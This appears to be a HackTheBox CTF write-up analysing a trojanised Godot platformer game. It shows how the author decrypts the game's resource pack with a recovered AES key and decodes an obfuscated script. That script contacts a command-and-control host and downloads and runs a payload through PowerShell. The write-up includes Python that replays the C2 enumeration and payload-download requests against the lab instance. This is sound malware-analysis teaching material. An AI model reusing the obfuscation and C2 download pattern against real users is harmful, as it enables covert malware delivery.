$ cat writeup.md…
$ cat writeup.md…
HackTheBox
Despite having an updated antivirus, my computer was compromised after running a game. Investigate the game and uncover the two-part flag.
Despite having an updated antivirus, my computer was compromised after running a game. Investigate the game and uncover the two-part flag.
Downloaded the challenge zip (password: hackthebox). Inside: a Godot Engine game with two files:
Platformer 2D.exe — PE32+ x86-64 Godot Engine binary (44MB)Platformer 2D.pck — Godot PCK resource file (2.4MB), encrypted (AES-256-CFB, Godot 4.1.1, 126 files)The PCK file had encryption flag set (flags=0x1). Studied the Godot 4.1.1 source code (file_access_pack.cpp and file_access_encrypted.cpp) to understand the exact encryption format:
FileAccessEncrypted format (no magic): 16 bytes MD5 hash + 8 bytes length + 16 bytes IV + AES-256-CFB encrypted dataThe AES-256 key was found in the EXE's .data section using strings and radare2 analysis:
f2f44f0aaa282c6b66065b1ca437abae05e20a55a0f6b2fd85f5b90576f0c88fFound malicious code in player.gd (7530 bytes). The script was heavily obfuscated with dozens of intermediate variables containing integer arrays that represent character codes, which are then joined and base64-decoded.
Key decoded values:
http://g4m3l0ad3r-network.htb (C2 server domain)p47l0ad_binary (download path)REDACTED} (flag part 2, used as input to MD5 hash)The malware behavior:
http://g4m3l0ad3r-network.htb/enum/p47l0ad_binary with a specific Cookie headernew_level_mod.exe and executes it via PowerShell with MD5 hash of loap as argumentThe cookie was constructed as "".join(aklq+paic) in GDScript. Critical insight: GDScript's "".join() on an array of integers converts each integer to its string representation (not chr()). So [57, 151, 53, 31, 99, 105, ...] becomes "5715531991054911790122821167750119119898781122901228211677501191119".
#!/usr/bin/env python3 from Crypto.Cipher import AES import hashlib import struct KEY_HEX = "f2f44f0aaa282c6b66065b1ca437abae05e20a55a0f6b2fd85f5b90576f0c88f" KEY = bytes.fromhex(KEY_HEX) def decrypt_fae_block(data: bytes) -> bytes: """Decrypt FileAccessEncrypted block (no magic header)""" md5_hash = data[0:16] length = struct.unpack('<Q', data[16:24])[0] iv = data[24:40] encrypted = data[40:] cipher = AES.new(KEY, AES.MODE_CFB, iv=iv, segment_size=128) decrypted = cipher.decrypt(encrypted) # Verify MD5 if hashlib.md5(decrypted[:length]).digest() != md5_hash: raise ValueError("MD5 mismatch") return decrypted[:length] # Read PCK, skip 96-byte header, decrypt file directory and contents # Extract all 126 files including player.gd
#!/usr/bin/env python3 import base64 # Example obfuscated variables from player.gd jkoq = [97, 72, 82, 48, 99, 68, 111, 118, 76, 50, 99, 48, 98, 84, 78, 115, 77, 71, 70, 107, 77, 51, 73, 116, 98, 109, 86, 48, 100, 50, 57, 121, 97, 121, 53, 111, 100, 71, 73, 61] # Convert integer array to string, then base64 decode target_url = base64.b64decode("".join(chr(c) for c in jkoq)).decode() # Result: http://g4m3l0ad3r-network.htb # Flag part 2 (loap variable) loap = [71, 68, 95, 77, 64, 108, 119, 52, 114, 51, 95, 80, 67, 66, 50, 57, 53, 52, 51, 125] flag_part2 = "".join(chr(c) for c in loap) # Result: REDACTED}
#!/usr/bin/env python3 import requests # The challenge instance requires correct Host header HOST = "154.57.164.77:31864" headers = {"Host": "g4m3l0ad3r-network.htb"} # Step 1: Enumerate enum_data = {"os": "Windows", "cpu": "x86_64", "locale": "en_US", "user_dir": "C:/Users/victim"} r = requests.post(f"http://{HOST}/enum", json=enum_data, headers=headers) print(r.json()) # {"status":"success"} # Step 2: Download payload with correct cookie # GDScript join() on int array gives string representation of numbers cookie_ints = [57, 151, 53, 31, 99, 105, ...] # from aklq+paic cookie_value = "".join(str(i) for i in cookie_ints) headers["Cookie"] = f"auth={cookie_value}" r = requests.get(f"http://{HOST}/p47l0ad_binary", headers=headers) # Check response headers for flag part 1 print(r.headers.get("X-Half-Flag")) # HTB{Und3t3ct3d_
X-Half-Flag HTTP header): HTB{Und3t3ct3d_loap variable in player.gd): REDACTED}$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar